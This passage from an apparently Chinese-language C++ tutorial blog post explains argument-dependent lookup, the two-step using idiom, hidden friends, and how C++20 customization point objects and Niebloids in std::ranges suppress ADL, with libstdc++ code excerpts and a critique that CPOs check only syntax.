&lt;p&gt;第二个方法则是借助ADL（Argument-dependent Lookup，实参依赖查找）机制。&lt;&#x2F;p&gt;
&lt;p&gt;什么是“ADL”&lt;&#x2F;p&gt;
&lt;p&gt;我在这里默认这篇文章的读者对模板编程已经有了初步的了解。不过以防万一，我们还是解释一下“ADL”是什么。&lt;&#x2F;p&gt;
&lt;p&gt;在&lt;strong&gt;无限定函数调用&lt;&#x2F;strong&gt;中，我们会将&lt;strong&gt;实参所在命名空间&lt;&#x2F;strong&gt;可见的重载也加入候选集——因此称之为&lt;strong&gt;实参依赖查找（ADL）&lt;&#x2F;strong&gt; 。例如，在如下代码中，有限定（即使限定为空也算）调用&lt;code&gt;::f(x)&lt;&#x2F;code&gt;会找到调用点可见的&lt;code&gt;f(T)&lt;&#x2F;code&gt;，而无限定调用会引入&lt;code&gt;a&lt;&#x2F;code&gt;所在的&lt;code&gt;namespace local&lt;&#x2F;code&gt;中的&lt;code&gt;f(A)&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;namespace local{
	struct A{};
	void f(A){
		std::cout&amp;lt;&amp;lt;&amp;quot;local\n&amp;quot;;
	}
}
template&amp;lt;typename T&amp;gt;
void f(T)
{
	std::cout&amp;lt;&amp;lt;&amp;quot;global\n&amp;quot;;
}
int main()
{
	local::A x;
	f(x); &amp;#x2F;&amp;#x2F;local by ADL
	::f(x); &amp;#x2F;&amp;#x2F;global
	return 0;
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;此时加入候选集的&lt;code&gt;void f(A)&lt;&#x2F;code&gt;由于是更好的匹配，所以得到了调用。当然，这要求它的确比&lt;code&gt;f(T)&lt;&#x2F;code&gt;更为特殊。&lt;&#x2F;p&gt;
&lt;p&gt;那么ADL会在什么时候发生呢？&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp20-cpo-niebloid&#x2F;cpp-adl-rejection-conditions.png&quot; alt=&quot;image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;image.png&lt;&#x2F;p&gt;
&lt;p&gt;——简而言之，如果ADL之前在局部作用域就找到了函数声明，或者找到&lt;strong&gt;任何非函数的声明&lt;&#x2F;strong&gt;，就会拒斥ADL的发生。&lt;&#x2F;p&gt;
&lt;p&gt;我们知道，对于具体类型参数所编写的一个函数，总是比模板的一般重载特殊的。放在一起看，一般是：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;namespace std{
	template&amp;lt;typename T&amp;gt;
	return_type foo(T arg); &amp;#x2F;&amp;#x2F; 1, default implementation
}

namespace My{
	return_type foo(my_type arg); &amp;#x2F;&amp;#x2F; 2, user implementation
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;那么，如果让这两个重载都&lt;strong&gt;在调用点处可见&lt;&#x2F;strong&gt;，不是就能满足我们的需求了吗？当我们有一个“更好”的用户定义实现的时候，ADL会让它被发现，然后成为最佳匹配函数被调用；当我们没有给出user implementation的时候，default implementation是可见的，会成为兜底的调用。&lt;&#x2F;p&gt;
&lt;p&gt;为了让这个机制生效，我们的调用就需要是：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;using std::foo;
foo(x);

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这样&lt;code&gt;std::foo&lt;&#x2F;code&gt;会被显式引入后找到；而&lt;code&gt;My::foo&lt;&#x2F;code&gt;如果存在，由于是非限定调用，会通过&lt;code&gt;x&lt;&#x2F;code&gt;的ADL被找到。——这种先&lt;code&gt;using&lt;&#x2F;code&gt;后调用的方案，我们下文会称之为&lt;strong&gt;两步法&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;对于我们的user implementation，可以通过hidden friend function去实现。相比于普通的友元函数，使用hidden friend的好处在于它仅供ADL使用，无法被外部调用找到：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;namespace My{
	struct A{
	private:
		friend void foo(A); &amp;#x2F;&amp;#x2F; can be found only by ADL
	};
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;于是我们就可以这样去解决我们的问题：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;namespace My{
	struct A{
	private:
		friend void swap(A&amp;amp;, A&amp;amp;)
		{
			&amp;#x2F;&amp;#x2F; ...
		}
	};
	struct B{};
}

int main()
{
	using std::swap; &amp;#x2F;&amp;#x2F;intro
	My::A a1, a2;
	swap(a1, a2); &amp;#x2F;&amp;#x2F; called My::swap(A&amp;amp;, A&amp;amp;)
	My::B b1, b2;
	swap(b1, b2); &amp;#x2F;&amp;#x2F; called std::swap
	return 0;
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;到此为止，我们初步解决了函数定制派发的问题。&lt;strong&gt;但它还不是真正的“定制”&lt;&#x2F;strong&gt; &lt;sup&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zclll.com&#x2F;index.php&#x2F;cpp&#x2F;cpo_niebloid.html#footnotes-def-7&quot;&gt;7&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt;。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-cpo-ding-zhi-dian-dui-xiang&quot;&gt;2 CPO（定制点对象）&lt;&#x2F;h2&gt;
&lt;h2 id=&quot;2-1-ding-zhi-de-han-yi&quot;&gt;2.1 “定制”的含义&lt;&#x2F;h2&gt;
&lt;p&gt;之所以说前面的解决方案没有实现真正的“定制”，是因为&lt;strong&gt;它只提供了ADL实现和库实现之间的选择&lt;&#x2F;strong&gt;，这肯定不足以称之为真正“定制”了一个功能。&lt;&#x2F;p&gt;
&lt;p&gt;那么什么是我们需要的“定制”呢？&lt;&#x2F;p&gt;
&lt;p&gt;真正的定制，应该能够允许我们对一个宏观的行为，根据调用者的不同而因地制宜地实现不同的具体表现&lt;sup&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zclll.com&#x2F;index.php&#x2F;cpp&#x2F;cpo_niebloid.html#footnotes-def-6&quot;&gt;6&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt; ，而不是仅限于在用户实现和库实现之间做出选择。&lt;&#x2F;p&gt;
&lt;p&gt;比如，我们现在需要定制一个&lt;code&gt;begin&lt;&#x2F;code&gt;函数，它的功能是对一个范围获取它的首地址（指针&#x2F;迭代器）。这就会涉及到多种情况：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;如果这个范围是个native array，那么得到的应该是它的首元素地址；&lt;&#x2F;li&gt;
&lt;li&gt;如果这个范围是一个标准或自定义的容器，例如&lt;code&gt;std::array&lt;&#x2F;code&gt;等，那么它提供了成员函数&lt;code&gt;xxx.begin()&lt;&#x2F;code&gt;，我们应该调用它并返回；&lt;&#x2F;li&gt;
&lt;li&gt;如果这个范围是某个我们自定义的东西，但通过ADL的方式在命名空间内提供了&lt;code&gt;begin(xxx)&lt;&#x2F;code&gt;的实现，应该得到调用的则是这个实现。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;可以看出，一个功能的具体实现可以是相当不同的。真正的定制应该能够顺利地处理这些不同情况。&lt;&#x2F;p&gt;
&lt;p&gt;写成伪代码的话，大概是这样：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;auto begin(T x)
{
	if is_array(x)
		return x;
	else if is_container(x)
		return x.begin()
	else if has_adl_begin(x)
		return begin(x)
	else
		fail
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;但其实有一部分功能在我们的定制时是不可控的，那就是通过ADL查找找到的重载，我们怎么能够保证它&lt;strong&gt;提供的实际作用是我们想要的&lt;&#x2F;strong&gt;呢？比如&lt;code&gt;begin&lt;&#x2F;code&gt;，我们希望它是一个指向&lt;code&gt;range&lt;&#x2F;code&gt;头的指针或迭代器。然而它是否也可能是一个开始某个异步任务的命令，并且返回一系列动作的结果呢？&lt;&#x2F;p&gt;
&lt;p&gt;所以真正的定制还需要满足第二个条件：&lt;&#x2F;p&gt;
&lt;p&gt;在定制点处就检查用户提供的重载是否符合预期，并决定是否启用它。&lt;&#x2F;p&gt;
&lt;p&gt;特别地，在C++20时代，由于有了&lt;code&gt;concept&lt;&#x2F;code&gt;和&lt;code&gt;requires&lt;&#x2F;code&gt;，我们还可以把“不符合预期”甚至“实参完全无法实现该功能”的错误，在编译的早期就用human-friendly的形式产生报错。这也是我们所希望的。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-2-jiao-gei-adl-zhong-zai-jue-yi&quot;&gt;2.2 交给ADL+重载决议？&lt;&#x2F;h2&gt;
&lt;p&gt;我们前文所提出的“两步法”显然不足以实现如此（甚至需要更加）复杂的逻辑，但&lt;strong&gt;在这个基础上继续扩充&lt;&#x2F;strong&gt;，是否可能实现我们的目的呢？&lt;&#x2F;p&gt;
&lt;p&gt;就是说，既然我们要实现更加复杂的派发，那就&lt;strong&gt;添加更多、或者更复杂的库函数模板重载&lt;&#x2F;strong&gt;不就好了吗？更复杂的派发逻辑，只是意味着我们需要更复杂的重载决议罢了。只要能够封装到两步法中的&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;using foo;

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;所代表的库实现中去，上面的&lt;code&gt;if-else&lt;&#x2F;code&gt;再复杂，都不会给用户添加使用负担。&lt;&#x2F;p&gt;
&lt;p&gt;核心逻辑是，把“两步法”封装到库实现去，再复杂的逻辑都不是问题。&lt;&#x2F;p&gt;
&lt;p&gt;比如标准库的&lt;code&gt;std::distance&lt;&#x2F;code&gt;，针对迭代器是否可以随机访问，就有两种不同的实现：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;&amp;#x2F;&amp;#x2F; 输入（非随机访问）迭代器版本
  template&amp;lt;typename _InputIterator&amp;gt;
    inline _GLIBCXX14_CONSTEXPR
    typename iterator_traits&amp;lt;_InputIterator&amp;gt;::difference_type
    __distance(_InputIterator __first, _InputIterator __last,
               input_iterator_tag)
    {
      &amp;#x2F;&amp;#x2F; concept requirements
      __glibcxx_function_requires(_InputIteratorConcept&amp;lt;_InputIterator&amp;gt;)

      typename iterator_traits&amp;lt;_InputIterator&amp;gt;::difference_type __n = 0;
      while (__first != __last)
	{
	  ++__first;
	  ++__n;
	}
      return __n;
    }

&amp;#x2F;&amp;#x2F; 随机访问版本
  template&amp;lt;typename _RandomAccessIterator&amp;gt;
    inline _GLIBCXX14_CONSTEXPR
    typename iterator_traits&amp;lt;_RandomAccessIterator&amp;gt;::difference_type
    __distance(_RandomAccessIterator __first, _RandomAccessIterator __last,
               random_access_iterator_tag)
    {
      &amp;#x2F;&amp;#x2F; concept requirements
      __glibcxx_function_requires(_RandomAccessIteratorConcept&amp;lt;
				  _RandomAccessIterator&amp;gt;)
      return __last - __first;
    }

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这种模板的复杂是不会外溢到使用当中的，如果能够实现，那就非常完美了！况且在C++17标准后，&lt;code&gt;if constexpr&lt;&#x2F;code&gt;和&lt;code&gt;constexpr&lt;&#x2F;code&gt;函数的功能非常强大，我们上面的&lt;code&gt;begin(T x)&lt;&#x2F;code&gt;是很容易实现的！比如这样（我们可以形象地称之为“派发器”）：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;template&amp;lt;__maybe_borrowed_range _Tp&amp;gt;
requires is_array_v&amp;lt;remove_reference_t&amp;lt;_Tp&amp;gt;&amp;gt; || __member_begin&amp;lt;_Tp&amp;gt; || __adl_begin&amp;lt;_Tp&amp;gt;
constexpr auto
begin(_Tp&amp;amp;&amp;amp; __t) const noexcept(_S_noexcept&amp;lt;_Tp&amp;amp;&amp;gt;())
{
	if constexpr (is_array_v&amp;lt;remove_reference_t&amp;lt;_Tp&amp;gt;&amp;gt;)
	{
		static_assert(is_lvalue_reference_v&amp;lt;_Tp&amp;gt;);
		return __t + 0;
	}
	else if constexpr (__member_begin&amp;lt;_Tp&amp;gt;)
		return __t.begin();
	else
		return begin(__t);
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;然后我们就只需要把那些很麻烦但并不会让麻烦外溢的&lt;code&gt;is_array_v&lt;&#x2F;code&gt;、&lt;code&gt;__member_begin&lt;&#x2F;code&gt;……补齐就好了&lt;&#x2F;p&gt;
&lt;p&gt;……吗？&lt;&#x2F;p&gt;
&lt;p&gt;NO! 这个函数不会像我们想象的一样得到调用！&lt;&#x2F;p&gt;
&lt;p&gt;原因是&lt;strong&gt;通过ADL找到的函数往往都更为特殊！&lt;&#x2F;strong&gt; ，它们会永远优先于我们的上述“派发器”重载被调用。原因是在实参所属的&lt;code&gt;namespace&lt;&#x2F;code&gt;中，我们明确知道它的类型，所编写的实现往往都更特殊。&lt;&#x2F;p&gt;
&lt;p&gt;函数重载决议&lt;&#x2F;p&gt;
&lt;p&gt;函数重载决议是一个很复杂的过程，但简单来说：&lt;strong&gt;非模板的函数重载比模板的更特殊&lt;&#x2F;strong&gt;，有约束的函数重载比无约束的更特殊，需要实参隐式转换更少的函数更为特殊。&lt;&#x2F;p&gt;
&lt;p&gt;而最后，如果有相比于其他重载都更特殊的重载，那么它成为“最佳匹配函数”而被选中调用。&lt;&#x2F;p&gt;
&lt;p&gt;例如：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;namespace User
{
	struct A {};

	void foo(A); &amp;#x2F;&amp;#x2F;non-template, more specific √
}
namespace lib
{
	template&amp;lt;typename T&amp;gt;
	void foo(T arg); &amp;#x2F;&amp;#x2F;templated, more general
}

int main()
{
	User::A a;
	using lib::foo;
	foo(a);
	return 0;
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这就导致了，&lt;strong&gt;ADL重载拥有了超过定制逻辑的最高优先级，它如果存在就总是会生效&lt;&#x2F;strong&gt;。这与我们的“定制”需求完全背道而驰。我们&lt;strong&gt;无法定制优先于ADL重载的派发&lt;&#x2F;strong&gt;，甚至也无法检查ADL重载到底是否是正确的。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;2-3-yong-functorlai-zu-zhi-adl&quot;&gt;2.3 用functor来阻止ADL&lt;&#x2F;h2&gt;
&lt;p&gt;但是正如上文的&lt;code&gt;begin(_Tp&amp;amp;&amp;amp; __t)&lt;&#x2F;code&gt;实现的一样，ADL重载在我们的“派发器”中是可以自由安排的，只要进入“派发器”当中，各种逻辑都可以灵活实现。&lt;&#x2F;p&gt;
&lt;p&gt;所以我们现在面临的问题就剩下一个了：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;如何屏蔽ADL？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;所幸这种方法在现有语言机制里是存在的：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;cpp20-cpo-niebloid&#x2F;cpo-block-adl-functor.png&quot; alt=&quot;image.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;image.png&lt;&#x2F;p&gt;
&lt;p&gt;如果无限定调用找到了&lt;strong&gt;非函数的声明&lt;&#x2F;strong&gt;，那么ADL就不会发生了！&lt;&#x2F;p&gt;
&lt;p&gt;……非函数的声明？&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Functor！&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;我们用functor去实现就好了呀！&lt;&#x2F;p&gt;
&lt;p&gt;由于需要保持写法一致，那么我们需要使用functor的实体——也就是&lt;strong&gt;函数对象&lt;&#x2F;strong&gt;（以下代码来自&lt;code&gt;libstdc++&lt;&#x2F;code&gt;）&lt;sup&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zclll.com&#x2F;index.php&#x2F;cpp&#x2F;cpo_niebloid.html#footnotes-def-5&quot;&gt;5&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;inline namespace __cust
{
	inline constexpr __cust_access::_Begin begin{};
	&amp;#x2F;&amp;#x2F; ...
}
namespace __cust_access &amp;#x2F;&amp;#x2F; in std::ranges
{
	struct _Begin
	{
		&amp;#x2F;&amp;#x2F; ...
	public:
		template&amp;lt;__maybe_borrowed_range _Tp&amp;gt;
		requires is_array_v&amp;lt;remove_reference_t &amp;lt; _Tp&amp;gt;&amp;gt; || __member_begin &amp;lt;_Tp&amp;gt;
			|| __adl_begin &amp;lt;_Tp&amp;gt;
		constexpr auto
		operator()(_Tp &amp;amp;&amp;amp;__t) const noexcept(_S_noexcept&amp;lt;_Tp &amp;amp;&amp;gt;())
		{
			if constexpr (is_array_v &amp;lt; remove_reference_t &amp;lt; _Tp &amp;gt;&amp;gt;)
			{
				static_assert(is_lvalue_reference_v &amp;lt; _Tp &amp;gt; );
				return __t + 0;
			}
			else if constexpr (__member_begin &amp;lt; _Tp &amp;gt;)
				return __t.begin();
			else
				return begin(__t);
		}
	};
}

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;事实上，这正是标准库中一个&lt;strong&gt;完整的CPO的实现&lt;&#x2F;strong&gt;。由于它是一个函数对象，所以当我们：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;using namespace std::ranges;
begin(x);

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;的时候&lt;sup&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zclll.com&#x2F;index.php&#x2F;cpp&#x2F;cpo_niebloid.html#footnotes-def-1&quot;&gt;1&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt; ，就只会正确找到&lt;code&gt;ranges::begin&lt;&#x2F;code&gt;啦！然后它内部封装好了我们之前所预期的复杂的定制过程。&lt;&#x2F;p&gt;
&lt;p&gt;所以CPO本质上，就是一个&lt;strong&gt;能够正确解决复杂定制问题的functor对象。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;来看一眼&lt;strong&gt;标准的定义&lt;&#x2F;strong&gt;，如下：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;1 A customization point object is a function object (20.14) with a literal class type that interacts with program-defifined types while enforcing semantic requirements on that interaction.&lt;&#x2F;p&gt;
&lt;p&gt;2 The type of a customization point object, ignoring cv-qualififiers, shall model semiregular (18.6).&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;template&amp;lt;class T&amp;gt;
concept semiregular = copyable&amp;lt;T&amp;gt; &amp;amp;&amp;amp; default_initializable&amp;lt;T&amp;gt;;

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;现在我们可以总结一下CPO解决的问题了：&lt;sup&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;zclll.com&#x2F;index.php&#x2F;cpp&#x2F;cpo_niebloid.html#footnotes-def-2&quot;&gt;2&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;它能够在编译期对于简单的无限定调用，根据实参的不同情况进行判断，并转发到正确的实现；&lt;&#x2F;li&gt;
&lt;li&gt;它能够检查实参与ADL重载（若存在）是否符合语法要求，并在需要的时候报错。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;3-niebloiddui-xiang&quot;&gt;3 Niebloid对象&lt;&#x2F;h2&gt;
&lt;p&gt;花了这么久介绍CPO，&lt;code&gt;std::ranges&lt;&#x2F;code&gt;中的函数调用和它有什么关系？&lt;&#x2F;p&gt;
&lt;p&gt;首先，这些算法大多都需要派发到标准算法去实现，例如&lt;code&gt;sort&lt;&#x2F;code&gt;、&lt;code&gt;kth_element&lt;&#x2F;code&gt;等等，不存在视情况转发的需求。&lt;&#x2F;p&gt;
&lt;p&gt;那我们看看实际情况好了。当我们用类似的两步法，&lt;code&gt;using namespace std::ranges&lt;&#x2F;code&gt;之后去&lt;strong&gt;非限定调用一个ranges算法&lt;&#x2F;strong&gt;，会发生什么？&lt;&#x2F;p&gt;
&lt;p&gt;注意到如果我们实参使用了STL Container等，那么两步法会通过ADL引入&lt;code&gt;namespace std&lt;&#x2F;code&gt;当中的同名函数，因此这里就需要进行重载决议了，我们举一些例子：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;&amp;#x2F;&amp;#x2F; std
template&amp;lt; class InputIt, class UnaryFunction &amp;gt;
UnaryFunction
for_each( InputIt first, InputIt last, UnaryFunction f );
&amp;#x2F;&amp;#x2F; std::ranges
template&amp;lt; std::input_iterator I, std::sentinel_for&amp;lt;I&amp;gt; S, class Proj = std::identity,
          std::indirectly_unary_invocable&amp;lt;std::projected&amp;lt;I, Proj&amp;gt;&amp;gt; Fun &amp;gt;
constexpr ranges::for_each_result&amp;lt;I, Fun&amp;gt;
for_each( I first, S last, Fun f, Proj proj = {} );

&amp;#x2F;&amp;#x2F; std
template&amp;lt; class InputIt, class OutputIt &amp;gt;
constexpr OutputIt
copy( InputIt first, InputIt last, OutputIt d_first );
&amp;#x2F;&amp;#x2F; std::ranges
template&amp;lt; std::input_iterator I, std::sentinel_for&amp;lt;I&amp;gt; S, std::weakly_incrementable O &amp;gt;
requires std::indirectly_copyable&amp;lt;I, O&amp;gt;
constexpr ranges::copy_result&amp;lt;I, O&amp;gt;
copy( I first, S last, O result );

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;有没有注意到什么？&lt;code&gt;std&lt;&#x2F;code&gt;&lt;strong&gt;当中的重载普遍比&lt;&#x2F;strong&gt;&lt;code&gt;std::ranges&lt;&#x2F;code&gt;&lt;strong&gt;当中的更为特殊！&lt;&#x2F;strong&gt;  这是因为&lt;code&gt;std::ranges&lt;&#x2F;code&gt;当中的算法&lt;strong&gt;普适性更强&lt;&#x2F;strong&gt;——虽然派发的终点是一样的，但是接收的&lt;code&gt;ranges&lt;&#x2F;code&gt;可能有不同的情况，&lt;code&gt;std::ranges&lt;&#x2F;code&gt;中的算法可以全部接纳他们并且做&lt;strong&gt;正确的调整以适配到实际算法的调用&lt;&#x2F;strong&gt;！&lt;&#x2F;p&gt;
&lt;p&gt;但由于这一点，跟我们之前所面临的情况一样，ADL查找会使得&lt;code&gt;std::ranges&lt;&#x2F;code&gt;当中的重载&lt;strong&gt;劣于&lt;&#x2F;strong&gt;&lt;code&gt;std&lt;&#x2F;code&gt;当中的，从而无法被调用。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;所以这里我们需要做的事情就是：屏蔽掉ADL查找！&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这种&lt;code&gt;std::ranges&lt;&#x2F;code&gt;中的&lt;strong&gt;需要屏蔽ADL的算法调用&lt;&#x2F;strong&gt;，我们根据提出者niebler的名字，命名为：&lt;strong&gt;Niebloid&lt;&#x2F;strong&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;然后……我们是不是刚发明了一个现成的工具来着？&lt;&#x2F;p&gt;
&lt;p&gt;对！就是CPO。所以当前版本的C++标准（20），就选择了使用CPO来解决这一问题。&lt;&#x2F;p&gt;
&lt;p&gt;把上述对象实现成CPO的形式，非预期的ADL查找就被解决啦！比如&lt;code&gt;std::ranges::copy&lt;&#x2F;code&gt;就实现如下：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;  struct __copy_fn
  {
    template&amp;lt;input_iterator _Iter, sentinel_for&amp;lt;_Iter&amp;gt; _Sent,
	     weakly_incrementable _Out&amp;gt;
      requires indirectly_copyable&amp;lt;_Iter, _Out&amp;gt;
      constexpr copy_result&amp;lt;_Iter, _Out&amp;gt;
      operator()(_Iter __first, _Sent __last, _Out __result) const
      {
	return ranges::__copy_or_move&amp;lt;false&amp;gt;(std::move(__first),
					     std::move(__last),
					     std::move(__result));
      }

    template&amp;lt;input_range _Range, weakly_incrementable _Out&amp;gt;
      requires indirectly_copyable&amp;lt;iterator_t&amp;lt;_Range&amp;gt;, _Out&amp;gt;
      constexpr copy_result&amp;lt;borrowed_iterator_t&amp;lt;_Range&amp;gt;, _Out&amp;gt;
      operator()(_Range&amp;amp;&amp;amp; __r, _Out __result) const
      {
	return (*this)(ranges::begin(__r), ranges::end(__r),
		       std::move(__result));
      }
  };

  inline constexpr __copy_fn copy{};

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;所以，现在我们可以给Niebloid下一个定义了：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Niebloid是指需要屏蔽掉ADL查找才能正确得到调用的一系列&lt;&#x2F;strong&gt;&lt;code&gt;ranges&lt;&#x2F;code&gt;&lt;strong&gt;算法。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;而它和CPO的关系是：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;目前所有主流编译器都使用CPO去实现Niebloid。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;cpode-bi-bing&quot;&gt;CPO的弊病&lt;&#x2F;h2&gt;
&lt;p&gt;前面我们提到了，CPO一个重要的作用就是帮我们筛选“正确”的重载。然而&lt;strong&gt;它真的能够实现吗&lt;&#x2F;strong&gt;？&lt;&#x2F;p&gt;
&lt;p&gt;还是用&lt;code&gt;begin&lt;&#x2F;code&gt;的例子来看，研究下&lt;code&gt;__adl_begin&lt;&#x2F;code&gt;到底做了哪些检查：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;    template&amp;lt;typename _Tp&amp;gt;
      concept __adl_begin = __class_or_enum&amp;lt;remove_reference_t&amp;lt;_Tp&amp;gt;&amp;gt;
	&amp;amp;&amp;amp; requires(_Tp&amp;amp; __t)
	{
	  { __decay_copy(begin(__t)) } -&amp;gt; input_or_output_iterator;
	};

&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;啊！所以其实&lt;strong&gt;它只能检测语法而非语义&lt;&#x2F;strong&gt;。这似乎是很自然的事情，但引发了一个大问题：我们怎么就能保证这样的函数真的做了我们想要&lt;code&gt;begin&lt;&#x2F;code&gt;去做的事情呢？&lt;&#x2F;p&gt;
&lt;p&gt;一种可能的糟糕情况&lt;&#x2F;p&gt;
&lt;p&gt;比如我们当然可以有一个&lt;code&gt;begin()&lt;&#x2F;code&gt;函数，调用它会发起一个网络连接，接收一串数据并存储，然后返回数据容器的&lt;code&gt;begin&lt;&#x2F;code&gt;迭代器。这完全是合规的。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;如果这种事情真的发生了，不会有任何报错&lt;&#x2F;strong&gt;，也不会有任何提示。它就是会产生一个错误的逻辑，极难排查。&lt;&#x2F;p&gt;
&lt;p&gt;当然你可以说：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;用户定制功能属于库的一部分。程序员有责任对此注意并负责。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;当然，我们很容易意识到&lt;code&gt;begin&lt;&#x2F;code&gt;是一个会具有特殊含义的名字，于是可以规避它。但当sender&#x2F;receiver加入标准库以后呢？当更多的第三方库杂糅在一起以后，并且都使用了CPO来解决问题呢？&lt;&#x2F;p&gt;
